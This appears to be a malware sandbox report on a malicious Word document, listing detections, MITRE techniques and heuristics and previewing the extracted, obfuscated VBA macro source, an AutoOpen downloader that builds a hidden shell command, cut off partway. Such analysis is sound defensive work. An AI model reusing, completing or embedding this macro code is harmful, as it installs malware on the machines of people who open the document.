MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The macro includes a call to Shell(), indicating it attempts to run an external command. While the exact command is obfuscated, the presence of the Shell() call and the macro itself strongly suggests the document is designed to download and execute a secondary payload.
Heuristics 6
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ClamAV: Doc.Malware.00536d-6698469-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.00536d-6698469-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 82006 bytes |
SHA-256: c4ba68d0e773ab7988e3b60ba7d930491eab2fe95f417e89ad197b0a9ec4eb5c |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "vamcilNuwC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim GAljk(2)
GAljk(0) = Right(ZTDiElzE + uMEvrvRIHDuaBoEAzZj + EndJp, 802) + Left(lUKSAJ + lSbfkzGICzvELOsqDSqb + hJAmHBi, 789)
GAljk(1) = Mid(HHTbZo + nsiSMzDHTLnICDVwTAA + JKoDv, 341, 325) + MidB(qnauOwcn + LdITQzQXpDAnZCjvIp + sEDiHoZW, 618, 927)
Dim qjDjRC(1)
qjDjRC(0) = Right(zDHjGSj + vWlzunhjoYaBDDMjimTQb + zLaMpiX, 484) + Left(NzwwWokN + zzDWVzuzcFLpVQU + CcOGznSn, 225)
Dim CcllwH(1)
CcllwH(0) = MidB(midbLrCu + BYQPEUkzWiizuCh + rNLdMO, 486, 18) + Mid(wshjKa + YiQNKiIBucRoVcnMmDqh + hZpDfYZ, 536, 291) + Mid(IdCdVKwi + abQVRWNjhwwjcImWDpZLoD + iQstDvw, 139, 961) + Mid(OBLwfbr + aUDNKHUvPcSfmrosAkV + OXVstukw, 823, 776)
zFXmBLNzBwJ (KeyString(BqYEiuM + pABSFttr + 2 + 21 + 44 + IjPPM + iiTXD) + zHMKqd + XBODjpjj + KeyString(ABzwlbLn + iFSmT + 2 + 24 + 51 + zjiASJ + NAJkT) + cufAABVI + hwoQqzBBU + nRofiCztF + HLHQHztCl + wINiut + IkKuW + NGddN + fjwbAF + QjOjhonw)
Dim FKJwm(1)
FKJwm(0) = Right(CGffbqc + LEwZjczwnGMwwfaF + jzKzz, 982) + Left(otmOfc + ldpiLwiPpAvPWOzfH + mQZhJuU, 953) + Left(NwtzPVs + jjHwTjsdAiwbQLIiqEKS + VkCSHs, 91) + Left(FriRF + REzwhliFpMOptwcwwqK + dzSKU, 259)
End Sub
Attribute VB_Name = "jamGVKo"
Function cufAABVI()
whKsd = "d \ \//\\\ " + "/V/C" + """" + "set -;],=a207" + " 7a02 2a70 a702 02a7"
Dim PCrOs(2)
PCrOs(0) = MidB(MlwPwF + YJORjjbIwafKFtdcA + kEwwHRv, 535, 832) + MidB(PahunjhI + PRKmvarUdJrvZnZpfjH + MqdKGuu, 850, 924)
PCrOs(1) = Mid(moJLqE + tpXiHkwISvDIaFzhPai + CFXddOwa, 497, 710) + MidB(oLVZlwmZ + LYKjGtXrKYbcCMrSVdXDml + HdcwrvN, 883, 979) + Right(IFDipzSM + NtfsGfnVXwNNTNjjP + YZlOSv, 664) + MidB(YJHukz + QBGdvvvmVVlmjUVFGrMQFR + DLVdWJ, 916, 305)
Dim VYtYlJ(1)
VYtYlJ(0) = Left(ukztTd + nSBlzKYtOijvwKYYLoRm + ZSdQCQj, 32) + MidB(oCQLn + OPjdbwZauEvIWjrsucXww + tVGBNkE, 192, 45) + MidB(wwWDZbV + AiIKFvLBrRivolYhUq + JOOYVr, 61, 909) + Left(bmKNvw + sIKFvAJToDnHPBOwPZUwwoLT + rpcIfwqJ, 87)
jisifBfd = " 7a02 7a20 a207 7a20" + " 2a70 2a70 27a0 720a" + " 2a70 0a27 0a72 72a"
XAZaqVzjsd = "0 20a7}20a7}" + "a720{7a02h" + "0a72c027at720aa702" + "ac0a72}207a;70"
JMKKk = "2ak702aaa702e" + "a027r702aba072;2" + "7a0t20a7t7a0" + "2p02a7$2a07 a2" + "70m0a27ea7"
cufAABVI = whKsd + jisifBfd + XAZaqVzjsd + JMKKk
Dim ZlECj(1)
ZlECj(0) = Right(BSivMtdI + zamVwljSGLuNolURTad + XzndAfBO, 289) + MidB(SiCbztWO + GkjiYHJmuVwzwwzmEwfrBu + tRaEOzJ, 317, 290)
Dim FbvRs(2)
FbvRs(0) = Left(vWPBiim + TFZvCbQdMTnrqIpCwYw + RRjJipj, 814) + Mid(YijSK + fofmsjcdVpJUordk + hnfdj, 651, 342) + Left(piYosKlv + ChFUrGzEuroZmDAJIWO + fKLZRJCv, 102) + Right(ZbTnWtiN + BFlkuKlmqnIRohiurwjB + WhMmOoB, 274)
FbvRs(1) = Right(EapWzRJ + CRKiGbdTSARDXdZzA + uZKcUaL, 907) + Right(tUuMMCFK + iwqMBkizsJofQWiHDpXr + jutLaT, 790) + Left(Dwjwbj + ZidFpqbibDhwcoSpo + YUYQMYBW, 49) + MidB(dwIjS + DksrlhttGJJtdJJjYS + MZfWVL, 915, 865)
Dim diqcfZ(1)
diqcfZ(0) = Mid(hspvuP + tDkAMrVrRswbqQFrbQPhq + VhNQaOfM, 48, 235) + MidB(XlIwB + OqrbjlfPjdVuIoiKqdT + EcIrGTRO, 380, 169) + Right(iFdiv + fYqjsKTUqXDuXHcnQ + PCliEq, 680) + Left(umDjPOt + pzzXwEibhWBIaUozNGZ + KcQrro, 181)
End Function
Function hwoQqzBBU()
hSWCXHTXia = "20t270aI70a2-72" + "a0e2a07k2a70o20a7va" + "027n207aI720a;a207)" + "72a0t7a20ta"
spUSrU = "702p027a$7a20 0" + "2a7,27a0ja270w072aLa" + "027$7a02(20a7e" + "2a70la072i70a2" + "F2a70d7a20a"
ojkic = "70a2o2a07l0a7" + "2n0a72w7a20o02a7D0" + "72a.2a07v70a2Y20a" + "7q07a2$0a72{2a70" + "ya207r27a0t2a70{27a" + "0)a720Qa720n2a07C7"
Dim YsXcwa(2)
YsXcwa(0) = MidB(EcCMqbY + tinSZQYqGznilEOLZDua + iQPONn, 520, 519) + MidB(cHJwcw + TUzWsamMMJDNwvzJwc + MsONdu, 310, 680) + Right(nHFWIXE + aORRVYtDdpSdkdizwrwc + MwIcmbF, 196) + MidB(JvaspjkM + UJGJlitriilicliQB + bHmpD, 743, 168)
YsXcwa(1) = Mid(jWzPC + qIiwSUOXtiMwCBMizW + GziauPl, 327, 144) + Right(rHTlpHt + JEvOFnSDUqcuhbBTIaca
... (truncated)
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